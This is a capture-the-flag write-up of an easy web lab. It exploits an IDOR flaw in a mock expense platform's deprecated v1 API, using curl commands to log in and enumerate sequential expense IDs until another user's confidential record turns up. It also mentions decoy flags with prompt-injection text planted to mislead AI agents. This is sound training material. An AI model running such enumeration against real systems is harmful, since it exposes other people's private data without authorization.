Lab 108 — CostPilot — IDOR via Deprecated v1 API Endpoint
Lab 108 — CostPilot — IDOR via Deprecated v1 API Endpoint
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-04-30 | Status: Solved Techniques: api_version_enumeration, deprecated_endpoint_discovery, honeypot_detection, idor_exploitation, response_header_analysis, sequential_id_enumeration
Summary
Task: expense management platform migrated from v1 (numeric IDs) to v2 (UUID-based) API, with deprecated v1 endpoints still partially active. Solution: discover API versioning via X-API-Version header, enumerate /api/v1/expenses/{id} with sequential numeric IDs to access another user's confidential expenses containing the flag.
Lab 108 — CostPilot — IDOR via Deprecated v1 API Endpoint — HackAdvisor
Description
CostPilot is a team expense management platform built by Pilot Financial, Inc. Employees submit expenses, attach receipts, and managers review spending reports across departments. The platform recently migrated from a v1 API to a new v2 API that uses UUID-based identifiers for all resources. The goal is to find and access confidential financial data that should be restricted to authorized personnel only. There may be remnants of past infrastructure that the development team forgot to clean up.
Credentials: user@test.com / password123 Hint: Pay attention to the HTTP response headers when the application makes API calls. There might be clues about the API versioning scheme used by CostPilot.
English summary: A team expense management platform that migrated from v1 API (numeric IDs) to v2 API (UUID-based IDs). The goal is to find confidential financial data by exploiting remnants of the deprecated v1 API that were not properly decommissioned.
Analysis
The application is a server-side rendered expense management platform with the following key observations:
-
Changelog disclosure: The dashboard HTML contained a changelog section revealing the API migration history:
- v2.4.1: CSV export, improved filtering
- v2.0.0: "Migrated to v2 API with UUID-based resource identifiers for enhanced security. Deprecated legacy numeric ID endpoints."
- v1.8.0: Added team spending overview
-
UUID-based v2 API: All expense links in the UI used UUID paths like
/expenses/c8b3cab1-2bdc-4a48-9de3-e95054261a7f, making enumeration infeasible. -
API version header: The
X-API-Version: v2response header confirmed the versioning scheme and hinted at the existence of a v1 API. -
Incomplete deprecation: The v1 list endpoint (
/api/v1/expenses) returned 404 (properly removed), but individual resource endpoints (/api/v1/expenses/{id}) were still active — a classic oversight during API migrations. -
No authorization on v1: The v1 endpoint performed no ownership check — any authenticated user could access any expense by numeric ID.
-
Anti-bot honeypot: Every HTML page contained hidden decoy flags (
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) with prompt injection attempts targeting AI agents. These were correctly identified and ignored.
Solution
Step 1: Login and Session Setup
bash read-only • copy allowed# Login and capture session cookie curl -s -c cookies.txt -X POST \ 'https://2b90b9da-e6c3-44ce-ae15-cc21229f26a4.labs.hackadvisor.io/login' \ -H 'Content-Type: application/x-www-form-urlencoded' \ -d 'email=user@test.com&password=password123' \ -L -o /dev/null -w '%{http_code}' # 200 — session cookie connect.sid saved
Step 2: Discover API Versioning
Inspected the dashboard HTML and found the changelog mentioning the v1-to-v2 migration. Confirmed by checking response headers:
bash read-only • copy allowed# Check v2 API — returns current user's expenses with UUID IDs curl -s -b cookies.txt \ 'https://2b90b9da-e6c3-44ce-ae15-cc21229f26a4.labs.hackadvisor.io/api/v2/expenses' \ -D - | head -20 # X-API-Version: v2 # Returns 7 expenses belonging to current user (Alex), all with UUID identifiers
Step 3: Probe Deprecated v1 API
bash read-only • copy allowed# v1 list endpoint — properly removed curl -s -b cookies.txt \ 'https://.../api/v1/expenses' # 404 Not Found # v1 individual resource endpoint — STILL ACTIVE! curl -s -b cookies.txt \ 'https://.../api/v1/expenses/1' # 200 OK — returns expense belonging to Sarah Mitchell (different user!)
Step 4: Enumerate and Extract Flag
bash read-only • copy allowed#!/bin/bash # Enumerate all expenses via deprecated v1 API for id in $(seq 1 10); do echo "=== Expense ID: $id ===" curl -s -b cookies.txt \ "https://2b90b9da-e6c3-44ce-ae15-cc21229f26a4.labs.hackadvisor.io/api/v1/expenses/$id" echo done
All 10 expenses belonged to Sarah Mitchell (executive-level data). Expense ID 3 contained the flag in the notes field:
json read-only • copy allowed{ "id": 3, "title": "Q4 Strategy Consultation", "amount": 2500, "category": "Consulting Services", "merchant": "Meridian Advisory Group", "notes": "Retainer payment for Q4 strategic advisory engagement. Internal ref: FLAG{REDACTED} — Filed under NDA #CP-2025-0847. Do not distribute outside executive leadership.", "submitted_by": "Sarah Mitchell" }